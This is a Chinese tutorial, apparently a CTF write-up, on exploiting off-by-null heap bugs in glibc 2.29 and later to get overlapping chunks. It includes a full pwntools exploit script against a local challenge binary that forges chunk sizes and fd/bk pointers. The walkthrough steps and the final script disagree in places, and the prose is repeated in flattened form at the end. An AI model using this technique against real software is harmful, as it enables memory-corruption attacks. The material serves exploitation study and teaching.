off by null高版本利用方式
字数 1284 2025-08-23 18:31:18

Off by Null高版本利用方式详解

背景介绍

自glibc-2.29起加入了prev_size的严格检查,传统的off by null利用方式已经失效。本文将详细介绍在高版本glibc(如2.38)下如何利用off by null漏洞实现堆块重叠。

基本原理

高版本保护机制

在glibc-2.29及以上版本中,堆块合并时增加了prev_size检查:

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size(p);
    size += prevsize;
    p = chunk_at_offset(p, -((long)prevsize));
    if (__glibc_unlikely(chunksize(p) != prevsize))
        malloc_printerr("corrupted size vs. prev_size while consolidating");
    unlink_chunk(av, p);
}

这段代码在堆块向前合并时,会检查prev_size和实际前一个堆块的size是否一致。

绕过条件

要成功利用off by null,需要满足以下条件:

  1. prev_size和按照prev_size找到的chunk的size必须相等
  2. fd->bk == bk->fd == p(双向链表完整性检查)
  3. p->fd_nextsize == NULL(绕过对fd_nextsize和bk_nextsize的双向链表检查)

利用思路

核心目标

在不泄露堆地址的情况下构造满足fd->bk == bk->fd == p的fake chunk。

具体步骤

  1. 堆布局准备:申请多个不同大小的堆块,为后续操作做准备
  2. 构造unsorted bin链:通过释放特定堆块形成unsorted bin链
  3. 伪造size字段:利用堆溢出修改关键size字段
  4. 双向链表伪造
    • 利用unsorted bin伪造chunk的bk指针
    • 借助large bin和部分覆盖伪造chunk的fd指针
  5. 触发合并:通过off by null修改size末字节触发合并
  6. 堆块重叠:最终实现堆块重叠,获得任意读写能力

详细利用过程

1. 初始堆布局

首先申请以下堆块:

add(0, 0x18)       # 用于对齐,使后续堆块地址高位相同
add(1, 0x418)      # 主操作堆块
add(2, 0x108)      # 隔离堆块
add(3, 0x418)      # 用于伪造的堆块
add(4, 0x438)      # 大堆块
add(5, 0x108)      # 隔离堆块
add(6, 0x428)      # 用于伪造的堆块
add(7, 0x108)      # 用于触发off by null的堆块

2. 构造unsorted bin链

free(1)  # 放入unsorted bin
free(4)  # 放入unsorted bin,bk指向1
free(6)  # 放入unsorted bin,bk指向4

此时unsorted bin链为:1 → 4 → 6

3. 伪造size字段

add(1, 0x438)  # 从unsorted bin中切割出0x438的块
edit(1, b'a'*0x418 + p64(0xA91))  # 溢出修改下一个堆块的size为0xA91

0xA91的计算:

  • 0x20 (chunk0)
  • 0x420 (chunk1)
  • 0x110 (chunk2)
  • 0x430 (chunk4)
  • 0x110 (chunk5)

4. 伪造双向链表

第一步:伪造fd->bk

add(3, 0x418)      # 取回chunk3
edit(3, b'b'*8 + p8(0))  # 修改bk指针的低字节

第二步:伪造bk->fd

free(6)           # 重新放入unsorted bin
free(3)           # 放入unsorted bin
add(6, 0x428)     # 取回chunk6
edit(6, p8(0))    # 修改fd指针的低字节

5. 触发off by null

add(8, 0x418)     # 准备合并
add(9, 0x38)      # 防止与top chunk合并
edit(7, b'a'*0x100 + p64(0xa90) + p8(0))  # off by null修改size末字节

6. 触发合并

free(4)  # 触发unlink,实现堆块重叠

关键点解析

  1. 地址对齐:通过添加0x18的小堆块,确保后续堆块地址高位相同,使部分覆盖有效
  2. size伪造:精心计算伪造的size值(0xA91)以覆盖多个堆块
  3. 双向链表构造
    • 利用unsorted bin的FIFO特性构造bk指针
    • 利用large bin和部分覆盖构造fd指针
  4. off by null触发:通过修改size末字节为0,触发向前合并

完整利用代码

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
io = process(["./ld-linux-x86-64.so.2", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

# 初始堆布局
add(0, 0x18)
add(1, 0x418)
add(2, 0x108)
add(3, 0x418)
add(4, 0x438)
add(5, 0x108)
add(6, 0x428)
add(7, 0x108)

# 构造unsorted bin链
free(1)
free(4)
free(6)
free(3)

# 伪造size字段
add(1, 0x438)
edit(1, b"a"*0x418 + p64(0xA91))

# 伪造fd->bk
add(3, 0x418)
add(4, 0x428)
add(6, 0x418)
free(6)
free(3)
add(3, 0x418)
edit(3, b'b'*8 + p8(0))

# 伪造bk->fd
add(6, 0x418)
free(4)
free(6)
add(4, 0x9f8)
add(6, 0x428)
edit(6, p8(0))

# 触发off by null
add(8, 0x418)
add(9, 0x38)
edit(7, b'a'*0x100 + p64(0xa90) + p8(0))

# 触发合并
free(4)

io.interactive()

总结

这种利用方式的关键在于:

  1. 精心设计堆布局,确保地址对齐
  2. 利用unsorted bin和large bin的特性伪造双向链表
  3. 精确计算伪造的size值
  4. 通过部分覆盖指针实现双向链表检查的绕过

虽然高版本的防护机制增加了利用难度,但通过巧妙的堆布局和bin链操作,仍然可以实现off by null的利用。这种技术适用于glibc 2.29及以上版本,包括最新的2.38版本。

Off by Null高版本利用方式详解 背景介绍 自glibc-2.29起加入了prev_ size的严格检查,传统的off by null利用方式已经失效。本文将详细介绍在高版本glibc(如2.38)下如何利用off by null漏洞实现堆块重叠。 基本原理 高版本保护机制 在glibc-2.29及以上版本中,堆块合并时增加了prev_ size检查: 这段代码在堆块向前合并时,会检查prev_ size和实际前一个堆块的size是否一致。 绕过条件 要成功利用off by null,需要满足以下条件: prev_size 和按照 prev_size 找到的chunk的 size 必须相等 fd->bk == bk->fd == p (双向链表完整性检查) p->fd_nextsize == NULL (绕过对fd_ nextsize和bk_ nextsize的双向链表检查) 利用思路 核心目标 在不泄露堆地址的情况下构造满足 fd->bk == bk->fd == p 的fake chunk。 具体步骤 堆布局准备 :申请多个不同大小的堆块,为后续操作做准备 构造unsorted bin链 :通过释放特定堆块形成unsorted bin链 伪造size字段 :利用堆溢出修改关键size字段 双向链表伪造 : 利用unsorted bin伪造chunk的bk指针 借助large bin和部分覆盖伪造chunk的fd指针 触发合并 :通过off by null修改size末字节触发合并 堆块重叠 :最终实现堆块重叠,获得任意读写能力 详细利用过程 1. 初始堆布局 首先申请以下堆块: 2. 构造unsorted bin链 此时unsorted bin链为:1 → 4 → 6 3. 伪造size字段 0xA91的计算: 0x20 (chunk0) 0x420 (chunk1) 0x110 (chunk2) 0x430 (chunk4) 0x110 (chunk5) 4. 伪造双向链表 第一步:伪造fd->bk 第二步:伪造bk->fd 5. 触发off by null 6. 触发合并 关键点解析 地址对齐 :通过添加0x18的小堆块,确保后续堆块地址高位相同,使部分覆盖有效 size伪造 :精心计算伪造的size值(0xA91)以覆盖多个堆块 双向链表构造 : 利用unsorted bin的FIFO特性构造bk指针 利用large bin和部分覆盖构造fd指针 off by null触发 :通过修改size末字节为0,触发向前合并 完整利用代码 总结 这种利用方式的关键在于: 精心设计堆布局,确保地址对齐 利用unsorted bin和large bin的特性伪造双向链表 精确计算伪造的size值 通过部分覆盖指针实现双向链表检查的绕过 虽然高版本的防护机制增加了利用难度,但通过巧妙的堆布局和bin链操作,仍然可以实现off by null的利用。这种技术适用于glibc 2.29及以上版本,包括最新的2.38版本。